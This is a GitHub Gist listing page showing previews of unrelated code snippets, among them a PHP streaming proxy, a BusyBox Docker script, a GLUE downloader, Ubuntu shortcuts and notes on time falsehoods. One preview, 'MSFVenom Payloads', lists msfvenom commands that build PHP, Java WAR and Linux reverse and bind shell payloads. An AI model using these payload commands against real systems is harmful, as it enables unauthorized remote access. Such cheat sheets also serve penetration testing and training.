Skip to content

Instantly share code, notes, and snippets.

@milankragujevic
milankragujevic / proxy.php
Created July 1, 2021 13:19
PHP streaming proxy with support for Range requests (perfect for proxying video files with progressive download MP4 streaming)
<?php
error_reporting(0);
set_time_limit(0);
ob_end_clean();
$url = $_GET['url'];
if(isset($_SERVER['HTTP_RANGE'])) {
stream_context_set_default([
'http' => [
@brunocmorais
brunocmorais / BusyboxDocker.sh
Last active April 16, 2024 06:07
How to build a simple and minimalistic BusyBox Docker image from scratch, without pulling it from Docker Hub
#!/usr/bin/env sh
if [ -d rootfs ]
then
rm -rf rootfs/
fi
mkdir rootfs
mkdir rootfs/bin
mkdir rootfs/etc
@W4ngatang
W4ngatang / download_glue_data.py
Last active April 16, 2024 06:05
Script for downloading data of the GLUE benchmark (gluebenchmark.com)
''' Script for downloading all GLUE data.
Note: for legal reasons, we are unable to host MRPC.
You can either use the version hosted by the SentEval team, which is already tokenized,
or you can download the original data from (https://download.microsoft.com/download/D/4/6/D46FF87A-F6B9-4252-AA8B-3604ED519838/MSRParaphraseCorpus.msi) and extract the data from it manually.
For Windows users, you can run the .msi file. For Mac and Linux users, consider an external library such as 'cabextract' (see below for an example).
You should then rename and place specific files in a folder (see below for an example).
mkdir MRPC
cabextract MSRParaphraseCorpus.msi -d MRPC
@ddeveloperr
ddeveloperr / Ubuntu_Keyboard_Shortcut.txt
Created November 29, 2018 21:44
Ubuntu 18.04 Keyboard Shortcut Every User Should Know
1. Super key: Opens Activities search (Windows key!)
2. Ctrl+Alt+T: Ubuntu terminal shortcut
3. Super+L or Ctrl+Alt+L: Locks the screen
4. Super+D or Ctrl+Alt+D: Show desktop
5. Super+A: Shows the application menu
6. Super+Tab or Alt+Tab: Switch between running applications
7. Super+Arrow keys: Snap windows
8. Super+M: Toggle notification tray
9. Super+Space: Change input keyboard (for multilingual setup)
@Arian04
Arian04 / shell.nix
Last active April 16, 2024 06:01 — forked from Nadrieril/shell.nix
Building LineageOS on NixOS
# I used this shell.nix to build LineageOS 21.0 for redfin (Google Pixel 5)
#
# IMPORANT NOTE: I had to use a pure shell for my builds to work, i.e: `nix-shell --pure` rather than `nix-shell`
#
# The build instructions are here: https://wiki.lineageos.org/devices/redfin/build
#
# Warning (from forked gist, was added August 1st 2018):
# The hardened NixOS kernel disables 32 bit emulation, which made me run into multiple "Exec format error" errors.
# To fix, use the default kernel, or enable "IA32_EMULATION y" in the kernel config.
#
@mansarip
mansarip / info.md
Last active April 16, 2024 05:59
How to use PDFKit with Hono + Bun

How to use PDFKit with Hono + Bun

Full example

import { Hono } from "hono";
import PDFDocument from "pdfkit";

const app = new Hono();
@Ev3rPalestine
Ev3rPalestine / msf_pay.md
Created April 15, 2024 06:08 — forked from dejisec/msf_pay.md
MSFVenom Payloads

PHP reverse shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php

Java WAR reverse shell

msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war

Linux bind shell

msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai

Linux FreeBSD reverse shell

@tmalsburg
tmalsburg / insert_bibtex_from_doi.el
Last active April 16, 2024 05:55
An Emacs command that takes the DOI in the clipboard and inserts the corresponding BibTeX entry at point.
(require 'url-http)
(defun insert-bibtex-from-doi ()
(interactive)
(let* ((doi (string-trim (gui-get-primary-selection)))
(url (if (string-prefix-p "https://doi.org/" doi)
doi
(concat "https://doi.org/" doi)))
(url-request-method "GET")
(url-mime-accept-string "application/x-bibtex"))
@banyudu
banyudu / figma-plugin-development-intro.blog.md
Last active April 16, 2024 05:55
Figma插件开发浅浅谈

Figma插件开发浅浅谈

Figma是一款优秀的设计工具,不仅可以便捷地实现协作开发,同时还提供了丰富的扩展能力,使得我们可以通过编写插件实现自定义的功能。

Figma官方是有提供开发者文档的,资料也比较齐全。推荐同时读一下 https://www.figma.com/plugin-docs/intro/

@timvisee
timvisee / falsehoods-programming-time-list.md
Last active April 16, 2024 05:54
Falsehoods programmers believe about time, in a single list

Falsehoods programmers believe about time

This is a compiled list of falsehoods programmers tend to believe about working with time.

Don't re-invent a date time library yourself. If you think you understand everything about time, you're probably doing it wrong.

Falsehoods

  • There are always 24 hours in a day.
  • February is always 28 days long.
  • Any 24-hour period will always begin and end in the same day (or week, or month).